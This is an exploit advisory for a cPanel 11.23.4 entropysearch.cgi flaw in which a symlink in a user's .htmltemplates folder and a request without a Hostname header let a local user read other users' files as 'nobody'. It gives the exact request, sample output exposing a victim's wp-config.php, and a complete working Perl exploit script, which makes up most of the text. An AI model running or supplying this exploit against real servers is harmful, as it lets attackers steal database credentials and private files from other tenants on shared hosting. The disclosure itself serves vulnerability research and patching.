cPanel 11.23.4-EDGE_26139 - suexec bypass (entropysearch.cgi)



DESCRIPTION


A combination of 2 issues allowed local users to view files belonging to other users. First, although the $template variable in /usr/local/cpanel/cgi-sys/entropysearch.cgi was checked for directory traversal by replacing ".." with nothing, it was not checked to see if it was a symlink. Second, when issuing a GET request to entropysearch.cgi where the Hostname header was set to anything other than the user's domain, or if the Hostname header was not sent at all, it would run as the user "nobody", vice the user's username. This allowed for bypassing suexec restrictions.


entropysearch.cgi when called via the user's domain name:

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
attacker 27873  7.0  0.0   4852  3404 ?        S    15:04   0:00 /usr/bin/perl -T entropysearch.cgi



entropysearch.cgi when called either without a Hostname header, or with any Hostname that does not correspond to the user's domain:

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
nobody   18381  3.5  0.0   4840  3400 ?        S    15:58   0:00 /usr/bin/perl -T /usr/local/cpanel/cgi-sys/entropysearch.cgi



This allowed an attacker to use the following symlink to view another user's files:

lrwxrwxrwx  1 attacker attacker   44 Jul 28 15:03 /home/attacker/.htmltemplates/foo -> /home/victim/public_html/wp-config.php


Then the attacker could issue the following request, which would result in the file that was being symlinked to being displayed to the attacker:

GET /cgi-sys/entropysearch.cgi?user=$ENV{'USER'}&template=foo HTTP/1.0





IMPACT


Local users could effectively view any file that the user "nobody" could view. This includes files under anyone's /home/username/public_html/ and /home/username/.htpasswds/ directories.


[user@host ~]$ stat /home/victim/public_html | grep /d
Access: (0750/drwxr-x---)  Uid: (  908/   victim)   Gid: (   99/  nobody)
[user@host ~]$ ./11.23.4-EDGE_26139-entropysearch.cgi /home/victim/public_html/wordpress/wp-config.php
<?php
/**
 * The base configurations of the WordPress.
 *
 * This file has the following configurations: MySQL settings, Table Prefix,

etc etc


#!/usr/bin/perl

########################################
#
#  View any file readable by nobody
#
#  11.23.4-EDGE_26139
#  11.23.4-STABLE_26138
#
########################################

use strict;
use warnings;
use IO::Socket::INET;

my $target_file = shift || die "Usage: $0 <file>\n";
my $templates   = "/home/$ENV{'USER'}/.htmltemplates";
my $symlink     = $templates . '/foo';
my $request     = "GET /cgi-sys/entropysearch.cgi?user=$ENV{'USER'}&template=foo HTTP/1.0\r\n\r\n";

if ( ! -d $templates ) { mkdir $templates or die $!; }
if ( ! -e $symlink ) { symlink $target_file, $symlink or die $!; }

my $sock = IO::Socket::INET->new(
    PeerAddr => 'example.com',
    PeerPort => '80',
    Proto    => 'tcp',
    Timeout  => '3',
);

if ( ! $sock ) { die "Could not connect\n"; }

my ( $buffer, @buffer );
print $sock $request;
read $sock, $buffer, 1_000_000;
close $sock;

@buffer = split( /\n/, $buffer );
print "@buffer\n";

unlink $symlink;
rmdir $templates;